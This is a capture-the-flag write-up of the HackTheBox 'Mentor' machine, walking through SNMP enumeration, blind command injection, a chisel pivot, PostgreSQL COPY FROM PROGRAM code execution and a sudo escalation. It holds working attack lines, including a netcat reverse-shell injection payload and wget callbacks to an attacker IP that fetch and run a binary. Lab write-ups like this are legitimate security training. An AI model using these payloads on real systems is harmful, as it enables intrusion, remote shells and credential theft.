HTB: Mentor Writeup

Mentor - HackTheBox Writeup

Machine Information

AttributeDetails
NameMentor
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.228.102
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Mentor is medium Linux box. Chain runs thru four separate identities before root. SNMP misconfig (non-default community string) leaks plaintext creds sitting in a running process’s command-line args. Those creds unlock backend API, which has blind OS command injection in backup endpoint. Foothold lands root — but inside Docker container, not host. From container, pivot via chisel reverse tunnel to reach internal-only PostgreSQL container, abuse default postgres:postgres creds + superuser COPY ... FROM PROGRAM for RCE-as-postgres. Old DB backup on that container leaks two password hashes; crack one, SSH in as real user. Host-side SNMP daemon config then leaks a second plaintext password, used to become a sudoer who can run /bin/sh as root.

TL;DR: SNMP community brute (internal) → process-arg leak of API password → blind command injection in /admin/backup → RCE as root in Docker container → chisel pivot to internal PostgreSQL container → default creds + COPY FROM PROGRAM RCE → cracked hash from old SQL backup → SSH as svc (user.txt) → plaintext password in /etc/snmp/snmpd.conf → SSH as jamessudo /bin/sh → root.txt


Reconnaissance

Port Scanning

Terminal window
# Targeted scan against expected service set for the box
nmap -p22,80,161 -sV -T4 10.129.228.102
# UDP sweep specifically for SNMP
nmap -sU -p161 10.129.228.102

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
161/tcp closed snmp
161/udp open snmp
Service Info: Host: mentorquotes.htb

Nmap’s Service Info banner already gives the hostname mentorquotes.htb. TCP 161 shows closed while UDP 161 is open — SNMP is a UDP-only service, so the TCP probe is a red herring.

Service Enumeration

Added the discovered hostname and its API subdomain to /etc/hosts:

Terminal window
echo '10.129.228.102 mentorquotes.htb api.mentorquotes.htb' | sudo tee -a /etc/hosts

SNMP community brute-force. Default public/private communities were tried first via onesixtyone, returning only public (restricted read scope). A larger wordlist turned up a working non-default string:

Terminal window
# Small common-strings list: only 'public' responds
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.129.228.102
# Full seclists SNMP wordlist (3217 entries) contains 'internal'
wc -l /usr/share/seclists/Discovery/SNMP/snmp.txt
snmpwalk -v2c -c internal 10.129.228.102

internal walked cleanly and returned far more than publicsysContact (Me <admin@mentorquotes.htb>), sysName (mentor), sysLocation (Sitting on the Dock of the Bay). This asymmetry made sense once the host-side snmpd.conf was recovered later in the chain: the v2c group bound to internal (com2sec AllUser default internal / group AllGroup v2c AllUser) has no view restriction, while public is scoped systemonly.

With a working community string, the HOST-RESOURCES-MIB hrSWRunParameters table (OID 1.3.6.1.2.1.25.4.2.1.5) was walked to enumerate running-process command lines — SNMP effectively exposes a remote ps aux-with-args when this table isn’t access-restricted:

Terminal window
snmpwalk -v2c -c internal 10.129.228.102 1.3.6.1.2.1.25.4.2.1.5 | grep -iE 'login|pass|python|api|create'
iso.3.6.1.2.1.25.4.2.1.5.1671 = STRING: "/usr/local/bin/login.sh"
iso.3.6.1.2.1.25.4.2.1.5.2085 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"

A backend script’s plaintext password sitting in argv, harvested over the network without ever touching the host.

Vulnerability Assessment

  1. Non-default, weak SNMP community string (internal) grants unrestricted MIB read access.
  2. Sensitive credential passed as a CLI argument to a running process — visible via hrSWRunParameters to any SNMP client holding a valid community string.
  3. Backend API (api.mentorquotes.htb) accepts the leaked password for user james.
  4. /admin/backup API endpoint takes an attacker-controlled path value and passes it unsanitized to a shell — classic OS command injection.

Initial Foothold

API Authentication

With the SNMP-leaked password, authenticated against the API’s login endpoint for james:

Terminal window
curl -s http://api.mentorquotes.htb/auth/login \
-X POST -H 'Content-Type: application/json' \
-d '{"email":"james@mentorquotes.htb","username":"james","password":"kj23sadkj123as0-d213"}'
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"

A JWT for james — decodes to a username/email payload, HS256-signed.

Blind Command Injection in /admin/backup

An authenticated POST to /admin/backup with a path parameter was confirmed vulnerable by chaining shell command substitution and watching for an out-of-band callback:

Terminal window
# Attacker-controlled HTTP listener for OOB confirmation
python3 -m http.server 8000 --bind 10.10.15.180
# Trigger the injection - path value is command-substituted before use
curl -s http://api.mentorquotes.htb/admin/backup \
-H "Authorization: $JWT" -H 'Content-Type: application/json' \
-X POST --data @/dev/shm/p1.json
# p1.json: {"path":"$(wget http://10.10.15.180:8000/CBTEST)"}
10.129.228.102 - - "GET /CBTEST HTTP/1.1" 404 -

The callback landing on the attacker’s listener confirms arbitrary command execution — since the response body is always {"INFO":"Done!"} regardless of the injected command’s outcome, this is blind injection; every step from here needed an out-of-band confirmation channel (HTTP GET, or later, base64-encoded exfil in a filename). With injection confirmed, a netcat reverse shell payload was staged and fired the same way:

Terminal window
nc -lvnp 4444
# rev.json: {"path":"$(nc 10.10.15.180 4444 -e /bin/sh)"}
curl -s http://api.mentorquotes.htb/admin/backup \
-H "Authorization: $JWT" -H 'Content-Type: application/json' \
-X POST --data @/dev/shm/rev.json
listening on [any] 4444 ...
connect to [10.10.15.180] from (UNKNOWN) [10.129.228.102] 43975

Shell landed as root — but this root is scoped to a Docker container, not the host (confirmed by .dockerenv presence and later by the internal-only PostgreSQL container being reachable only from inside this network namespace).

Pivoting to the Internal PostgreSQL Container

The container had outbound internet access but the target’s internal database service was only reachable from inside the container’s Docker bridge network, so a reverse tunnel was built with chisel. First attempt copied the Kali-native chisel binary onto the pivot host and staged it for the container — but it silently failed to execute inside the container (empty --version output on every probe), most likely a glibc/arch mismatch between the dynamically-linked Kali build and the container’s base image:

Terminal window
# Dynamically-linked chisel — fails silently inside the container
cp /usr/bin/chisel /dev/shm/chisel

Switched to a statically-linked GitHub release build, which ran cleanly:

Terminal window
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz -O chisel.gz
gunzip -f chisel.gz && chmod +x chisel
./chisel --version # 1.9.1 — static binary, no dependency issues
Terminal window
# Reverse chisel server on the attacker-controlled pivot host
/dev/shm/chisel server -p 8001 --reverse -v

The container was made to pull the static binary and dial back, forwarding the PostgreSQL container’s port 5432 to local port 8002 on the pivot host — driven entirely through the blind command-injection endpoint:

Terminal window
# path value fetched+ran the client via the injection endpoint:
# wget http://<lhost>:8000/chisel -O /tmp/ch2; chmod +x /tmp/ch2;
# /tmp/ch2 client <lhost>:8001 R:127.0.0.1:8002:<postgres-container>:5432 &
server: Reverse tunnelling enabled
server: session#1: tun: proxy#R:127.0.0.1:8002=><postgres-container>:5432: Listening
server: session#1: tun: SSH connected

PostgreSQL RCE via Default Credentials

Default postgres:postgres credentials authenticated straight through the tunnel:

Terminal window
PGPASSWORD=postgres psql -U postgres -h 127.0.0.1 -p 8002 -c '\l'
Name | Owner | Encoding
------------------+----------+----------
mentorquotes_db | postgres | UTF8
postgres | postgres | UTF8

The postgres role is superuser, which allows arbitrary command execution via COPY ... FROM PROGRAM — PostgreSQL’s bulk-load feature lets a superuser pipe a shell command’s stdout directly into a table:

DROP TABLE IF EXISTS c;
CREATE TABLE c(o text);
COPY c FROM PROGRAM 'find /var/lib/postgresql -name db_export.sql 2>/dev/null';
SELECT * FROM c;
/var/lib/postgresql/data/pg_backup/db_export.sql

An old pg_dump backup, base64-exfiltrated through the same COPY FROM PROGRAM channel (direct grep piping through the injection channel kept dropping output — full base64 exfil was more reliable):

Terminal window
psql -U postgres -h 127.0.0.1 -p 8002 -t -A \
-c "COPY c FROM PROGRAM 'base64 -w0 /var/lib/postgresql/data/pg_backup/db_export.sql'; SELECT * FROM c;" \
| base64 -d | grep -iE 'mentor|[a-f0-9]{32}'
CREATE TABLE public.users (
id integer NOT NULL,
email character varying(50),
username character varying(50),
password character varying(128) NOT NULL
);
COPY public.users (id, email, username, password) FROM stdin;
1 james@mentorquotes.htb james <redacted>
35 svc@mentorquotes.htb service_acc <redacted>

Two MD5 hashes recovered — james’s (already known via SNMP) and service_acc’s. Cracked the unknown one with hashcat:

Terminal window
hashcat -m 0 -a 0 /dev/shm/h.txt /usr/share/wordlists/rockyou.txt --quiet --potfile-path=/dev/shm/pot
<redacted>:123meunomeeivani

The DB username column says service_acc, but the associated email is svc@mentorquotes.htb — the actual system account is the mailbox local-part, svc, not the DB display name:

Terminal window
sshpass -p '123meunomeeivani' ssh svc@10.129.228.102 'id; hostname; cat /home/svc/user.txt'
uid=1001(svc) gid=1001(svc) groups=1001(svc)
mentor
<redacted>

user.txt captured.


Privilege Escalation

Back on the SNMP service — the host’s own daemon config was reachable now that a legitimate SSH foothold existed. /etc/snmp/snmpd.conf contained a hardcoded, plaintext credential in an SNMPv3 createUser directive, unrelated to svc but reused elsewhere on the box:

Terminal window
cat /etc/snmp/snmpd.conf | grep -iE 'pass|create|user|secret|community'
rouser authPrivUser authpriv -V systemonly
createUser bootstrap MD5 SuperSecurePassword123__ DES
rouser bootstrap priv
com2sec AllUser default internal
group AllGroup v2c AllUser

That createUser line’s password (meant for an SNMPv3 bootstrap principal) also unlocks the james OS account — credential reuse across otherwise unrelated identities:

Terminal window
sshpass -p 'SuperSecurePassword123__' ssh james@10.129.228.102 'echo SuperSecurePassword123__ | sudo -S -l'
Matching Defaults entries for james on mentor:
env_reset, mail_badpass, use_pty
User james may run the following commands on mentor:
(ALL) /bin/sh

Unrestricted sudo on /bin/sh is an instant root shell:

Terminal window
ssh james@10.129.228.102 'echo SuperSecurePassword123__ | sudo -S /bin/sh -c "id; cat /root/root.txt"'
uid=0(root) gid=0(root) groups=0(root)
<redacted>

root.txt captured.


Attack Chain Summary

SNMP community brute (internal)
→ process-arg leak (login.py password, via HOST-RESOURCES-MIB)
→ API auth as james
→ blind command injection in /admin/backup
→ reverse shell (root in Docker container)
→ chisel reverse tunnel (static build) to internal PostgreSQL container
→ default postgres:postgres creds, superuser
→ COPY ... FROM PROGRAM RCE
→ pg_dump backup leaks james + service_acc password hashes
→ hashcat cracks service_acc hash
→ SSH as svc (email local-part, not DB username) → user.txt
→ /etc/snmp/snmpd.conf leaks plaintext password (reused by james)
→ SSH as james → sudo (ALL) /bin/sh → root.txt

Tools Used

ToolPurpose
nmapTCP/UDP port scanning
onesixtyone / snmpwalkSNMP community brute-force and MIB enumeration
curlREST API interaction (auth, injection endpoint)
python3 -m http.serverOut-of-band callback confirmation for blind injection, static-binary staging
ncReverse shell payload and listener
chiselReverse SOCKS/port tunnel to pivot into the internal Docker network
psqlPostgreSQL client for auth and COPY FROM PROGRAM RCE
hashcatMD5 hash cracking against rockyou.txt
sshpass / sshNon-interactive SSH auth with cracked/leaked credentials

Key Learnings

Techniques Practiced

  • SNMP community-string brute-forcing beyond default public/private
  • Credential harvesting via SNMP HOST-RESOURCES-MIB process-argument enumeration
  • Blind OS command injection with out-of-band (HTTP callback) confirmation
  • Docker container breakout awareness (root-in-container ≠ root-on-host)
  • Reverse tunneling with chisel to pivot into an isolated internal Docker network
  • PostgreSQL post-auth RCE via superuser COPY ... FROM PROGRAM
  • Cross-referencing DB usernames against email local-parts for correct SSH usernames
  • Credential-reuse hunting across unrelated service configs after foothold

Lessons Learned

  1. Non-default SNMP community strings can grant far broader MIB access than public — always brute with a large wordlist, not just the top 10.
  2. Command-line arguments passed to running processes are not private; anything readable via ps//proc is also readable remotely through SNMP’s process-table MIB if access controls are loose.
  3. Blind injection needs an out-of-band oracle before committing to a payload — an HTTP callback confirmed exploitability before a reverse shell was even attempted.
  4. Dynamically-linked pivot tooling (chisel, nmap-static, etc.) can silently fail to run inside a foreign/minimal container filesystem; a statically-linked release build sidesteps libc/arch mismatches entirely.
  5. PostgreSQL superuser access is equivalent to host command execution via COPY ... FROM PROGRAM — default postgres:postgres creds on an “internal-only” service remain a real horizontal-movement vector.
  6. A database’s username column isn’t necessarily the OS/SSH login — cross-check against the account’s email address or other identifying fields.
  7. Config files (snmpd.conf, and generally any daemon config) often carry hardcoded plaintext secrets that get reused across otherwise unrelated accounts — grep broadly after every foothold, not just for the current service.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Pwnmeow & C4rm3l0, Mentor — official HackTheBox writeup (Document No. D22.100.218), used here only to corroborate explanatory context (SNMP MIB behavior, COPY FROM PROGRAM mechanics) — all IPs, credentials, hashes, and command output above are from this solve’s own run.